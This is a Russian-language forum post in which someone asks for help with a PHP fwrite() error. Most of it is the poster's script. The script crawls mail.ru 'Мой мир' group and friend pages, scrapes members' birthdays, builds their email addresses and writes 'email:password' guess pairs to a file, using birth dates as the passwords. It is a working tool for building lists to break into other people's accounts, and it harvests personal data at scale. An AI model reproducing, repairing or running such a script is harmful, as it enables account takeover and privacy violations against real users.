странная ошибка fwrite() PHP: <?PHP @set_time_limit(0); include('curl.php'); ///////////////////////////////////SETTINGS/////////////////////////////////////// $sart_page = 3; $page = 1740; $group_url = "путь к группе в моем мире"; $user = "логин"; $pass = "пасс"; $result = "result.txt"; ///////////////////////////////////////////////////////////////////////////////// $fpr = fopen($result,"a+"); $mref = "http://www.mail.ru/"; //login $url_r = "http://games.mail.ru/mru/auth/login?login=$user&password=$pass&foreign="; $gref = "http://games.mail.ru/"; $login = get_res($url_r,$gref); //collect users info for ($i = $sart_page; $i <= $page;$i++) { //get pages with users $url_1 = $group_url."friends?&sort=&page=$i"; $res_1 = get_res($url_1,$mref); $mref = $url_1; //parse users url preg_match_all('#\<a\shref\=\"(.*?)"\>\<i\sid\=\"best_friend_avatar#',$res_1,$m_url); foreach ($m_url[1] as $u_url){ echo $u_url."</br>"; flush(); //get count of friends $fr_cres = get_res($u_url,$url_1); preg_match_all('#\<\/a\>\<span\sclass\=\"h2span\smr2\"\>(.*?)\<\/span\>\<\/h2\>#',$fr_cres,$frc); foreach($frc[1] as $count) { $fr_count= $count; echo "friends count is ".$fr_count."</br>"; } if ($fr_count <= 20){ $kol = 1; }else{ $kol = floor($fr_count/20); } //user url for ($v = 1; $v <= $kol;$v++) { $uf_url = $u_url."friends?page=".$v; $res_2 = get_res($uf_url,$uf_url); //parse friends url preg_match_all('#style\=\"background-image\:\surl\(http\:\/\/avt\.foto\.mail\.ru\/(.*?)\/_avatar\?#',$res_2,$mu_url); foreach ($mu_url[1] as $fr_url) { //echo "friend url is - ".$fr_url."</br>"; //get user page $ffr_url = "http://my.mail.ru/".$fr_url; //echo "friend full url is".$ffr_url."</br>"; $fr_page = get_res($ffr_url,$u_url); //echo $fr_page." dfdfdfdf"; //parse birhday preg_match_all('#\s\((.*?)\)\,\s\<a\shref\=\"http\:\/\/horo\.mail\.ru\/zodiac\/#',$fr_page,$fr_b); foreach($fr_b[1] as $birh) { //echo "birhday is ".$birh."</br>"; $part_pss = explode(".", $birh); $pss = $part_pss[0].$part_pss[1].$part_pss[2]; $minus = $part_pss[2]-1900; $pss_c = $part_pss[0].$part_pss[1].$minus; //echo "part 0 ".$part_pss[0]."</br>"; $part_mail = explode("/",$fr_url); $full_mail = $part_mail[1]."@".$part_mail[0].".ru"; echo "mail + pass -".$full_mail.":".$pss."</br>"; flush(); $real = $full_mail.":".$pss; $real1 = $full_mail.":".$pss_c; //$real2 = $full_mail.":".$pss_c."a"; fwrite($fpr,$real."\r\n"); fwrite($fpr,$real1."\r\n"); //fwrite($fpr,$real2."\r\n"); } } } } fclose($fpr); fclose($fpy); } ?> Вот такой скрипт работает 3-4 часа нормально, на денвере после чего вылазит ошибка Warning: fwrite(): 4 is not a valid stream resource in Z:\home\localhost\www\mail.php on line 101 и соответственно в файл ничего не пишет, почему такое происходит хз, гугл ответов не дает ((, есть какие нибудь идеи? // Gifts: Оформляйте код в тег PHP: [/COLOR]